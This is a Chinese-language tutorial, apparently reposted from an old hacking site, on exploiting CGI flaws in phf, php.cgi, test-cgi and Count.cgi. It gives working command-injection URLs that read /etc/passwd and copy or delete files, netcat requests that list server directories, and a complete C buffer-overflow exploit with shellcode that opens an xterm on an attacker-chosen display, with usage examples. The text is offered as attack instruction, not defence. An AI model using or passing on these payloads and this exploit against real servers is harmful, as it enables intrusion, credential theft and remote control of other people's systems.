搜狗
alimama
ali
阿里
阿里妈妈
sogou
第一卷 第三章

?CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK  LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn  

一、phf.cgi攻击:  

phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对它不了解以至于造成了漏洞。在浏览器中输入:  

http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd  

可以显示出PASSWD文档来。其实还可以用更好的命令来实现目的:  

http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna

me=&Qoffice_phone=

http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=

haqr&Qemail=&Qnickname=&Qoffice_phone=

http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd

%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=

http://thegnome.com/~someuser/passwd

http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname

=haqr&Qemail=&Qnickname=&Qoffice_phone=  

以上等于执行了命令:  

id  

ls  -la  ~someuser  

cp  /etc/passwd  ~someuser/passwd  

(用普通的可以进入的目录来看passwd)  

rm  ~someuser/passwd  

二、php.cgi

除了PHF以外,php也是常见的漏洞,php.cgi  2.0beta10或更早版本中,允许anyone以

HTTP管理员身份读系统文件,在浏览器中输入:  

http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd  

就可以看到想看的文件。  

另外,一部分php.cgi还可以执行shell,原因是它把8k  bytes字节放入128bytes的缓冲区中,造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。

但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。想检查能否运行,只要在浏览器中输入:  

http://hostname/cgi-bin/php.cgi  

如果你看到返回这样的字样就可以运行:  

PHP/FI  Version  2.0b10

...  

三、test-cgi的问题

test-cgi同样是个常常出现的漏洞,在浏览器中输入:  

http://thegnome.com/cgi-bin/test-cgi?\whatever  

将会返回:  

CGI/1.0  test  script  report:  

argc  is  0.  argv  is  .  

SERVER_SOFTWARE  =  NCSA/1.4B

SERVER_NAME  =  thegnome.com

GATEWAY_INTERFACE  =  CGI/1.1

SERVER_PROTOCOL  =  HTTP/1.0

SERVER_PORT  =  80

REQUEST_METHOD  =  GET

HTTP_ACCEPT  =  text/plain,  application/x-html,  application/html,

text/html,  text/x-html

PATH_INFO  =

PATH_TRANSLATED  =

SCRIPT_NAME  =  /cgi-bin/test-cgi

QUERY_STRING  =  whatever

REMOTE_HOST  =  fifth.column.gov

REMOTE_ADDR  =  200.200.200.200

REMOTE_USER  =

AUTH_TYPE  =

CONTENT_TYPE  =

CONTENT_LENGTH  =  

再来一次,这样输入:  

http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd  

看到PASSWD了?  

用netcat  80  端口  进行攻击:  

machine%  echo  "GET  /cgi-bin/test-cgi?/*"  |  nc  removed.name.com  80  

返回:  

CGI/1.0  test  script  report:  

argc  is  1.  argv  is  /\*.  

SERVER_SOFTWARE  =  NCSA/1.4.1

SERVER_NAME  =  removed.name.com

GATEWAY_INTERFACE  =  CGI/1.1

SERVER_PROTOCOL  =  HTTP/0.9

SERVER_PORT  =  80

REQUEST_METHOD  =  GET

HTTP_ACCEPT  =

PATH_INFO  =

PATH_TRANSLATED  =

SCRIPT_NAME  =  /bin/cgi-bin/test-cgi

QUERY_STRING  =  /a  /bin  /boot  /bsd  /cdrom  /dev  /etc  /home  /lib  /mnt

/root  /sbin  /stand  /sys  /tmp  /usr  /usr2  /var

REMOTE_HOST  =  remote.machine.com

REMOTE_ADDR  =  255.255.255.255

REMOTE_USER  =

AUTH_TYPE  =

CONTENT_TYPE  =

CONTENT_LENGTH  =  

显示出了根目录!这样试试:  

machine%  echo  "GET  /cgi-bin/test-cgi?*"  |  nc  removed.name.com  80  

返回:  

CGI/1.0  test  script  report:  

argc  is  1.  argv  is  \*.  

SERVER_SOFTWARE  =  NCSA/1.4.1

SERVER_NAME  =  removed.name.com

GATEWAY_INTERFACE  =  CGI/1.1

SERVER_PROTOCOL  =  HTTP/0.9

SERVER_PORT  =  80

REQUEST_METHOD  =  GET

HTTP_ACCEPT  =

PATH_INFO  =

PATH_TRANSLATED  =

SCRIPT_NAME  =  /bin/cgi-bin/test-cgi

QUERY_STRING  =  calendar  cgi-archie  cgi-calendar  cgi-date  cgi-finger

cgi-fortune  cgi-lib.pl  imagemap  imagemap.cgi  imagemap.conf  index.html

mail-query  mail-query-2  majordomo  majordomo.cf  marker.cgi

menu  message.cgi  munger.cgi  munger.note  ncsa-default.tar  post-query

query  smartlist.cf  src  subscribe.cf  test-cgi  uptime

REMOTE_HOST  =  remote.machine.com

REMOTE_ADDR  =  255.255.255.255

REMOTE_USER  =

AUTH_TYPE  =

CONTENT_TYPE  =

CONTENT_LENGTH  =  

显示了/CGI-BIN/目录下的东西。

CGI漏洞的利用(二)

CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK  LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn  

四、Count.cgi溢出漏洞  

Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有人用它,不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利用方法。

出现问题主要是由于QUERY_STRING  环境变量被复制到一个活动缓冲区,造成溢出,允许远程用户以HTTP管理员的身份执行任意命令。

有人写了个程序来利用这个漏洞,只对Count.cgi  24以下版本有效:

/*###  count.c  ########################################################*/

#include  

#include  

#include  

#include  

#include  

#include  

#include  

#include  

#include    

/*  Forwards  */

unsigned  long  getsp(int);

int  usage(char  *);

void  doit(char  *,long,  char  *);  

/*  Constants  */

char  shell[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"

"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"

"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"

"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"/usr/X11R6/bin/xterm0-ut0-display0";

char  endpad[]=

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";  

int  main  (int  argc,  char  *argv[]){

char  *shellcode  =  NULL;

int  cnt,ver,retcount,  dispnum,dotquads[4],offset;

unsigned  long  sp;

char  dispname[255];

char  *host;  

offset  =  sp  =  cnt  =  ver  =  0;

fprintf(stderr,"\t%s  -  Gus\n",argv[0]);

if  (argc<3)  usage(argv[0]);  

while  ((cnt  =  getopt(argc,argv,"h:d:v:o:"))  !=  EOF)  {

switch(cnt){

case  'h':

host  =  optarg;

break;

case  'd':

{

retcount  =  sscanf(optarg,  "%d.%d.%d.%d:%d",  

&dotquads[0],

&dotquads[1],

&dotquads[2],

&dotquads[3],  &dispnum);

if  (retcount  !=  5)  usage(argv[0]);

sprintf(dispname,  "%03d.%03d.%03d.%03d:%01d",  

dotquads[0],  dotquads[1],  dotquads[2],dotquads[3],  dispnum);

shellcode=malloc(strlen((char  *)optarg)+strlen(shell)+strlen(endpad));

sprintf(shellcode,"%s%s%s",shell,dispname,endpad);

}

break;

case  'v':

ver  =  atoi(optarg);

break;

case  'o':

offset  =  atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

}  

sp  =  offset  +  getsp(ver);  

(void)doit(host,sp,shellcode);  

exit(0);

}  

unsigned  long  getsp(int  ver)  {  

/*  Get  the  stack  pointer  we  should  be  using.  YMMV.  If  it  does  not  work,

try  using  -o  X,  where  x  is  between  -1500  and  1500  */

unsigned  long  sp=0;  

if  (ver  ==  15)  sp  =  0xbfffea50;

if  (ver  ==  20)  sp  =  0xbfffea50;

if  (ver  ==  22)  sp  =  0xbfffeab4;

if  (ver  ==  23)  sp  =  0xbfffee38;  /*  Dunno  about  this  one  */

if  (sp  ==  0)  {

fprintf(stderr,"I  don't  have  an  sp  for  that  version  try  using  the  -o  option.\n");

fprintf(stderr,"Versions  above  24  are  patched  for  this  bug.\n");

exit(1);

}  else  {

return  sp;

}  

}  

int  usage  (char  *name)  {

fprintf(stderr,"\tUsage:%s  -h  host  -d  ]\n",name);

fprintf(stderr,"\te.g.  %s  -h  www.foo.bar  -d  127.0.0.1:0  -v  22\n",name);

exit(1);

}  

int  openhost  (char  *host,  int  port)  {  

int  sock;  

struct  hostent  *he;

struct  sockaddr_in  sa;  

he  =  gethostbyname(host);

if  (he  ==  NULL)  {

perror("Bad  hostname\n");

exit(-1);

}  

memcpy(&sa.sin_addr,  he->h_addr,  he->h_length);  

sa.sin_port=htons(port);

sa.sin_family=AF_INET;

sock=socket(AF_INET,SOCK_STREAM,0);

if  (sock  <  0)  {

perror  ("cannot  open  socket");

exit(-1);

}

bzero(&sa.sin_zero,sizeof  (sa.sin_zero));  

if  (connect(sock,(struct  sockaddr  *)&sa,sizeof  sa)<0)  {

perror("cannot  connect  to  host");

exit(-1);

}  

return(sock);

}  

void  doit  (char  *host,long  sp,  char  *shellcode)  {  

int  cnt,sock;

char  qs[7000];

int  bufsize  =  16;

char  buf[bufsize];

char  chain[]  =  "user=a";  

bzero(buf);  

for(cnt=0;cnt<4104;cnt+=4)  {

qs[cnt+0]  =  sp  &  0x000000ff;

qs[cnt+1]  =  (sp  &  0x0000ff00)  >>  8;

qs[cnt+2]  =  (sp  &  0x00ff0000)  >>  16;

qs[cnt+3]  =  (sp  &  0xff000000)  >>  24;

}

strcpy(qs,chain);

qs[strlen(chain)]=0x90;  

qs[4104]=  sp&0x000000ff;

qs[4105]=(sp&0x0000ff00)>>8;

qs[4106]=(sp&0x00ff0000)>>16;

qs[4107]=(sp&0xff000000)>>24;

qs[4108]=  sp&0x000000ff;

qs[4109]=(sp&0x0000ff00)>>8;

qs[4110]=(sp&0x00ff0000)>>16;

qs[4111]=(sp&0xff000000)>>24;

qs[4112]=  sp&0x000000ff;

qs[4113]=(sp&0x0000ff00)>>8;

qs[4114]=(sp&0x00ff0000)>>16;

qs[4115]=(sp&0xff000000)>>24;

qs[4116]=  sp&0x000000ff;

qs[4117]=(sp&0x0000ff00)>>8;

qs[4118]=(sp&0x00ff0000)>>16;

qs[4119]=(sp&0xff000000)>>24;

qs[4120]=  sp&0x000000ff;

qs[4121]=(sp&0x0000ff00)>>8;

qs[4122]=(sp&0x00ff0000)>>16;

qs[4123]=(sp&0xff000000)>>24;

qs[4124]=  sp&0x000000ff;

qs[4125]=(sp&0x0000ff00)>>8;

qs[4126]=(sp&0x00ff0000)>>16;

qs[4127]=(sp&0xff000000)>>24;

qs[4128]=  sp&0x000000ff;

qs[4129]=(sp&0x0000ff00)>>8;

qs[4130]=(sp&0x00ff0000)>>16;

qs[4131]=(sp&0xff000000)>>24;

strcpy((char*)&qs[4132],shellcode);  

sock  =  openhost(host,80);

write(sock,"GET  /cgi-bin/Count.cgi?",23);

write(sock,qs,strlen(qs));

write(sock,"  HTTP/1.0\n",10);

write(sock,"User-Agent:  ",12);

write(sock,qs,strlen(qs));

write(sock,"\n\n",2);

sleep(1);  

/*  printf("GET  /cgi-bin/Count.cgi?%s  HTTP/1.0\nUser-Agent:  %s\n\n",qs,qs);  */  

/*

setenv("HTTP_USER_AGENT",qs,1);  

setenv("QUERY_STRING",qs,1);

system("./Count.cgi");

*/

}  

------------------------------------  

用法是:count  -h  

例如:count  -h  www.foo.bar  -d  127.0.0.1:0  -v  22  

五、用Count.cgi看图片  

这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以利用Count.cgi看WEB目录以外的图片,据作者说有一些商业网站的图片里有一些商业机密,所以这个漏洞也算是有点用处吧!哈哈!  

在浏览器中这样输入:

其中/path_to_gif/file.gif是你要看的图片的路径。  

注意,这一漏洞只能被用来看(或下载)GIF格式的图片,而不能用于其他类型的文件。


[猫扑广告]